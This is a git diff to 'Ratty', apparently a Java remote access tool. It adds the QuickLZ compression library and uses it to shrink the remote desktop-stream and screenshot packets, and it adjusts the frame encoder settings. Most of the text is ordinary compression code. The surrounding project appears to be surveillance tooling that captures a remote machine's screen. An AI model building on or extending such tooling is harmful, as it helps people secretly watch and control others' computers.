diff --git a/Ratty/src/de/sogomn/rat/packet/DesktopPacket.java b/Ratty/src/de/sogomn/rat/packet/DesktopPacket.java index 9c95d88..642c67e 100644 --- a/Ratty/src/de/sogomn/rat/packet/DesktopPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/DesktopPacket.java @@ -8,6 +8,7 @@ import de.sogomn.engine.util.ImageUtils; import de.sogomn.rat.ActiveConnection; import de.sogomn.rat.util.FrameEncoder; import de.sogomn.rat.util.FrameEncoder.IFrame; +import de.sogomn.rat.util.QuickLZ; public final class DesktopPacket extends AbstractPingPongPacket { @@ -41,7 +42,8 @@ public final class DesktopPacket extends AbstractPingPongPacket { @Override protected void sendData(final ActiveConnection connection) { Stream.of(frames).forEach(frame -> { - final byte[] data = ImageUtils.toByteArray(frame.image, 0); + byte[] data = ImageUtils.toByteArray(frame.image, 0); + data = QuickLZ.compress(data); connection.writeByte(INCOMING); connection.writeShort((short)frame.x); @@ -68,9 +70,10 @@ public final class DesktopPacket extends AbstractPingPongPacket { final int x = connection.readShort(); final int y = connection.readShort(); final int length = connection.readInt(); - final byte[] data = new byte[length]; + byte[] data = new byte[length]; connection.read(data); + data = QuickLZ.decompress(data); final BufferedImage image = ImageUtils.toImage(data); final IFrame frame = new IFrame(x, y, image); diff --git a/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java b/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java index 2599c04..385f389 100644 --- a/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java @@ -7,6 +7,7 @@ import de.sogomn.engine.Screen.ResizeBehavior; import de.sogomn.engine.util.ImageUtils; import de.sogomn.rat.ActiveConnection; import de.sogomn.rat.util.FrameEncoder; +import de.sogomn.rat.util.QuickLZ; public final class ScreenshotPacket extends AbstractPingPongPacket { @@ -28,7 +29,8 @@ public final class ScreenshotPacket extends AbstractPingPongPacket { @Override protected void sendData(final ActiveConnection connection) { - final byte[] data = ImageUtils.toByteArray(image, "PNG"); + byte[] data = ImageUtils.toByteArray(image, "PNG"); + data = QuickLZ.compress(data); connection.writeInt(data.length); connection.write(data); @@ -42,9 +44,9 @@ public final class ScreenshotPacket extends AbstractPingPongPacket { @Override protected void receiveData(final ActiveConnection connection) { final int length = connection.readInt(); - final byte[] data = new byte[length]; - + byte[] data = new byte[length]; connection.read(data); + data = QuickLZ.decompress(data); image = ImageUtils.toImage(data); diff --git a/Ratty/src/de/sogomn/rat/util/FrameEncoder.java b/Ratty/src/de/sogomn/rat/util/FrameEncoder.java index bcaf507..5f36ba5 100644 --- a/Ratty/src/de/sogomn/rat/util/FrameEncoder.java +++ b/Ratty/src/de/sogomn/rat/util/FrameEncoder.java @@ -18,10 +18,10 @@ import de.sogomn.engine.util.ImageUtils; public final class FrameEncoder { - private static final int SKIP = 3; + private static final int SKIP = 5; - private static final int CELLS_WIDE = 5; - private static final int CELLS_HIGH = 5; + private static final int CELLS_WIDE = 8; + private static final int CELLS_HIGH = 8; private static final IFrame[] EMPTY_ARRAY = new IFrame[0]; private static final int CURSOR_SIZE = 10; diff --git a/Ratty/src/de/sogomn/rat/util/QuickLZ.java b/Ratty/src/de/sogomn/rat/util/QuickLZ.java new file mode 100644 index 0000000..d20bee2 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/util/QuickLZ.java @@ -0,0 +1,496 @@ +package de.sogomn.rat.util; + +// QuickLZ data compression library +// Copyright (C) 2006-2011 Lasse Mikkel Reinhold +// lar@quicklz.com +// +// QuickLZ can be used for free under the GPL 1, 2 or 3 license (where anything +// released into public must be open source) or under a commercial license if such +// has been acquired (see http://www.quicklz.com/order.html). The commercial license +// does not cover derived or ported versions created by third parties under GPL. +// +// Only a subset of the C library has been ported, namely level 1 and 3 not in +// streaming mode. +// +// Version: 1.5.0 final + +public final class QuickLZ +{ + // Streaming mode not supported + public final static int QLZ_STREAMING_BUFFER = 0; + + // Bounds checking not supported. Use try...catch instead + public final static int QLZ_MEMORY_SAFE = 0; + + public final static int QLZ_VERSION_MAJOR = 1; + public final static int QLZ_VERSION_MINOR = 5; + public final static int QLZ_VERSION_REVISION = 0; + + // Decrease QLZ_POINTERS_3 to increase compression speed of level 3. Do not + // edit any other constants! + private final static int HASH_VALUES = 4096; + private final static int MINOFFSET = 2; + private final static int UNCONDITIONAL_MATCHLEN = 6; + private final static int UNCOMPRESSED_END = 4; + private final static int CWORD_LEN = 4; + private final static int DEFAULT_HEADERLEN = 9; + private final static int QLZ_POINTERS_1 = 1; + private final static int QLZ_POINTERS_3 = 16; + + static int headerLen(byte[] source) + { + return ((source[0] & 2) == 2) ? 9 : 3; + } + + static public long sizeDecompressed(byte[] source) + { + if (headerLen(source) == 9) + return fast_read(source, 5, 4); + else + return fast_read(source, 2, 1); + } + + static public long sizeCompressed(byte[] source) + { + if (headerLen(source) == 9) + return fast_read(source, 1, 4); + else + return fast_read(source, 1, 1); + } + + private static void write_header(byte[] dst, int level, boolean compressible, int size_compressed, int size_decompressed) + { + dst[0] = (byte)(2 | (compressible ? 1 : 0)); + dst[0] |= (byte)(level << 2); + dst[0] |= (1 << 6); + dst[0] |= (0 << 4); + fast_write(dst, 1, size_decompressed, 4); + fast_write(dst, 5, size_compressed, 4); + } + + /* + * THIS METHOD WAS ADDED BY SOGOMN. + * Just to prevent getting in trouble with license stuff. + */ + public static byte[] compress(final byte[] source) { + return compress(source, 3); + } + + public static byte[] compress(byte[] source, int level) + { + int src = 0; + int dst = DEFAULT_HEADERLEN + CWORD_LEN; + long cword_val = 0x80000000L; + int cword_ptr = DEFAULT_HEADERLEN; + byte[] destination = new byte[source.length + 400]; + int[][] hashtable; + int[] cachetable = new int[HASH_VALUES]; + byte[] hash_counter = new byte[HASH_VALUES]; + byte[] d2; + int fetch = 0; + int last_matchstart = (source.length - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1); + int lits = 0; + + if (level != 1 && level != 3) + throw new RuntimeException("Java version only supports level 1 and 3"); + + if (level == 1) + hashtable = new int[HASH_VALUES][QLZ_POINTERS_1]; + else + hashtable = new int[HASH_VALUES][QLZ_POINTERS_3]; + + if (source.length == 0) + return new byte[0]; + + if (src <= last_matchstart) + fetch = (int)fast_read(source, src, 3); + + while (src <= last_matchstart) + { + if ((cword_val & 1) == 1) + { + if (src > 3 * (source.length >> 2) && dst > src - (src >> 5)) + { + d2 = new byte[source.length+DEFAULT_HEADERLEN]; + write_header(d2, level, false, source.length, source.length + DEFAULT_HEADERLEN); + System.arraycopy(source, 0, d2, DEFAULT_HEADERLEN, source.length); + return d2; + } + + fast_write(destination, cword_ptr, (cword_val >>> 1) | 0x80000000L, 4); + cword_ptr = dst; + dst += CWORD_LEN; + cword_val = 0x80000000L; + } + + if (level == 1) + { + int hash = ((fetch >>> 12) ^ fetch) & (HASH_VALUES - 1); + int o = hashtable[hash][0]; + int cache = cachetable[hash] ^ fetch; + + cachetable[hash] = fetch; + hashtable[hash][0] = src; + + if (cache == 0 && hash_counter[hash] != 0 && (src - o > MINOFFSET || (src == o + 1 && lits >= 3 && src > 3 && source[src] == source[src - 3] && source[src] == source[src - 2] && source[src] == source[src - 1] && source[src] == source[src + 1] && source[src] == source[src + 2]))) + { + cword_val = ((cword_val >>> 1) | 0x80000000L); + if (source[o + 3] != source[src + 3]) + { + int f = 3 - 2 | (hash << 4); + destination[dst + 0] = (byte)(f >>> 0 * 8); + destination[dst + 1] = (byte)(f >>> 1 * 8); + src += 3; + dst += 2; + } + else + { + int old_src = src; + int remaining = ((source.length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (source.length - UNCOMPRESSED_END - src + 1 - 1)); + + src += 4; + if (source[o + src - old_src] == source[src]) + { + src++; + if (source[o + src - old_src] == source[src]) + { + src++; + while (source[o + (src - old_src)] == source[src] && (src - old_src) < remaining) + src++; + } + } + + int matchlen = src - old_src; + + hash <<= 4; + if (matchlen < 18) + { + int f = hash | (matchlen - 2); + // Neither Java nor C# wants to inline fast_write + destination[dst + 0] = (byte)(f >>> 0 * 8); + destination[dst + 1] = (byte)(f >>> 1 * 8); + dst += 2; + } + else + { + int f = hash | (matchlen << 16); + fast_write(destination, dst, f, 3); + dst += 3; + } + } + lits = 0; + fetch = (int)fast_read(source, src, 3); + } + else + { + lits++; + hash_counter[hash] = 1; + destination[dst] = source[src]; + cword_val = (cword_val >>> 1); + src++; + dst++; + fetch = ((fetch >>> 8) & 0xffff) | ((((int)source[src + 2]) & 0xff) << 16); + } + } + else + { + fetch = (int)fast_read(source, src, 3); + + int o, offset2; + int matchlen, k, m; + byte c; + int remaining = ((source.length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (source.length - UNCOMPRESSED_END - src + 1 - 1)); + int hash = ((fetch >>> 12) ^ fetch) & (HASH_VALUES - 1); + + c = hash_counter[hash]; + matchlen = 0; + offset2 = 0; + for (k = 0; k < QLZ_POINTERS_3 && (c > k || c < 0); k++) + { + o = hashtable[hash][k]; + if ((byte)fetch == source[o] && (byte)(fetch >>> 8) == source[o + 1] && (byte)(fetch >>> 16) == source[o + 2] && o < src - MINOFFSET) + { + m = 3; + while (source[o + m] == source[src + m] && m < remaining) + m++; + if ((m > matchlen) || (m == matchlen && o > offset2)) + { + offset2 = o; + matchlen = m; + } + } + } + o = offset2; + hashtable[hash][c & (QLZ_POINTERS_3 - 1)] = src; + c++; + hash_counter[hash] = c; + + if (matchlen >= 3 && src - o < 131071) + { + int offset = src - o; + for (int u = 1; u < matchlen; u++) + { + fetch = (int)fast_read(source, src + u, 3); + hash = ((fetch >>> 12) ^ fetch) & (HASH_VALUES - 1); + c = hash_counter[hash]++; + hashtable[hash][c & (QLZ_POINTERS_3 - 1)] = src + u; + } + + src += matchlen; + cword_val = ((cword_val >>> 1) | 0x80000000L); + + if (matchlen == 3 && offset <= 63) + { + fast_write(destination, dst, offset << 2, 1); + dst++; + } + else if (matchlen == 3 && offset <= 16383) + { + fast_write(destination, dst, (offset << 2) | 1, 2); + dst += 2; + } + else if (matchlen <= 18 && offset <= 1023) + { + fast_write(destination, dst, ((matchlen - 3) << 2) | (offset << 6) | 2, 2); + dst += 2; + } + else if (matchlen <= 33) + { + fast_write(destination, dst, ((matchlen - 2) << 2) | (offset << 7) | 3, 3); + dst += 3; + } + else + { + fast_write(destination, dst, ((matchlen - 3) << 7) | (offset << 15) | 3, 4); + dst += 4; + } + } + else + { + destination[dst] = source[src]; + cword_val = (cword_val >>> 1); + src++; + dst++; + } + } + } + + while (src <= source.length - 1) + { + if ((cword_val & 1) == 1) + { + fast_write(destination, cword_ptr, (long)((cword_val >>> 1) | 0x80000000L), 4); + cword_ptr = dst; + dst += CWORD_LEN; + cword_val = 0x80000000L; + } + + destination[dst] = source[src]; + src++; + dst++; + cword_val = (cword_val >>> 1); + } + while ((cword_val & 1) != 1) + { + cword_val = (cword_val >>> 1); + } + fast_write(destination, cword_ptr, (long)((cword_val >>> 1) | 0x80000000L), CWORD_LEN); + write_header(destination, level, true, source.length, dst); + + d2 = new byte[dst]; + System.arraycopy(destination, 0, d2, 0, dst); + return d2; + } + + static long fast_read(byte[] a, int i, int numbytes) + { + long l = 0; + for (int j = 0; j < numbytes; j++) + l |= ((((int)a[i + j]) & 0xffL) << j * 8); + return l; + } + + static void fast_write(byte[] a, int i, long value, int numbytes) + { + for (int j = 0; j < numbytes; j++) + a[i + j] = (byte)(value >>> (j * 8)); + } + + static public byte[] decompress(byte[] source) + { + int size = (int)sizeDecompressed(source); + int src = headerLen(source); + int dst = 0; + long cword_val = 1; + byte[] destination = new byte[size]; + int[] hashtable = new int[4096]; + byte[] hash_counter = new byte[4096]; + int last_matchstart = size - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1; + int last_hashed = -1; + int hash; + int fetch = 0; + + int level = (source[0] >>> 2) & 0x3; + + if (level != 1 && level != 3) + throw new RuntimeException("Java version only supports level 1 and 3"); + + if ((source[0] & 1) != 1) + { + byte[] d2 = new byte[size]; + System.arraycopy(source, headerLen(source), d2, 0, size); + return d2; + } + + for (;;) + { + if (cword_val == 1) + { + cword_val = fast_read(source, src, 4); + src += 4; + if (dst <= last_matchstart) + { + if(level == 1) + fetch = (int)fast_read(source, src, 3); + else + fetch = (int)fast_read(source, src, 4); + } + } + + if ((cword_val & 1) == 1) + { + int matchlen; + int offset2; + + cword_val = cword_val >>> 1; + + if (level == 1) + { + hash = (fetch >>> 4) & 0xfff; + offset2 = hashtable[hash]; + + if ((fetch & 0xf) != 0) + { + matchlen = (fetch & 0xf) + 2; + src += 2; + } + else + { + matchlen = ((int)source[src + 2]) & 0xff; + src += 3; + } + } + else + { + int offset; + + if ((fetch & 3) == 0) + { + offset = (fetch & 0xff) >>> 2; + matchlen = 3; + src++; + } + else if ((fetch & 2) == 0) + { + offset = (fetch & 0xffff) >>> 2; + matchlen = 3; + src += 2; + } + else if ((fetch & 1) == 0) + { + offset = (fetch & 0xffff) >>> 6; + matchlen = ((fetch >>> 2) & 15) + 3; + src += 2; + } + else if ((fetch & 127) != 3) + { + offset = (fetch >>> 7) & 0x1ffff; + matchlen = ((fetch >>> 2) & 0x1f) + 2; + src += 3; + } + else + { + offset = (fetch >>> 15); + matchlen = ((fetch >>> 7) & 255) + 3; + src += 4; + } + offset2 = (int)(dst - offset); + } + + destination[dst + 0] = destination[offset2 + 0]; + destination[dst + 1] = destination[offset2 + 1]; + destination[dst + 2] = destination[offset2 + 2]; + + for (int i = 3; i < matchlen; i += 1) + { + destination[dst + i] = destination[offset2 + i]; + } + dst += matchlen; + + if (level == 1) + { + fetch = (int)fast_read(destination, last_hashed + 1, 3); // destination[last_hashed + 1] | (destination[last_hashed + 2] << 8) | (destination[last_hashed + 3] << 16); + while (last_hashed < dst - matchlen) + { + last_hashed++; + hash = ((fetch >>> 12) ^ fetch) & (HASH_VALUES - 1); + hashtable[hash] = last_hashed; + hash_counter[hash] = 1; + fetch = fetch >>> 8 & 0xffff | (((int)destination[last_hashed + 3]) & 0xff) << 16; + } + fetch = (int)fast_read(source, src, 3); + } + else + { + fetch = (int)fast_read(source, src, 4); + } + last_hashed = dst - 1; + } + else + { + if (dst <= last_matchstart) + { + destination[dst] = source[src]; + dst += 1; + src += 1; + cword_val = cword_val >>> 1; + + if (level == 1) + { + while (last_hashed < dst - 3) + { + last_hashed++; + int fetch2 = (int)fast_read(destination, last_hashed, 3); + hash = ((fetch2 >>> 12) ^ fetch2) & (HASH_VALUES - 1); + hashtable[hash] = last_hashed; + hash_counter[hash] = 1; + } + fetch = fetch >> 8 & 0xffff | (((int)source[src + 2]) & 0xff) << 16; + } + else + { + fetch = fetch >> 8 & 0xffff | (((int)source[src + 2]) & 0xff) << 16 | (((int)source[src + 3]) & 0xff) << 24; + } + } + else + { + while (dst <= size - 1) + { + if (cword_val == 1) + { + src += CWORD_LEN; + cword_val = 0x80000000L; + } + + destination[dst] = source[src]; + dst++; + src++; + cword_val = cword_val >>> 1; + } + return destination; + } + } + } + } +} +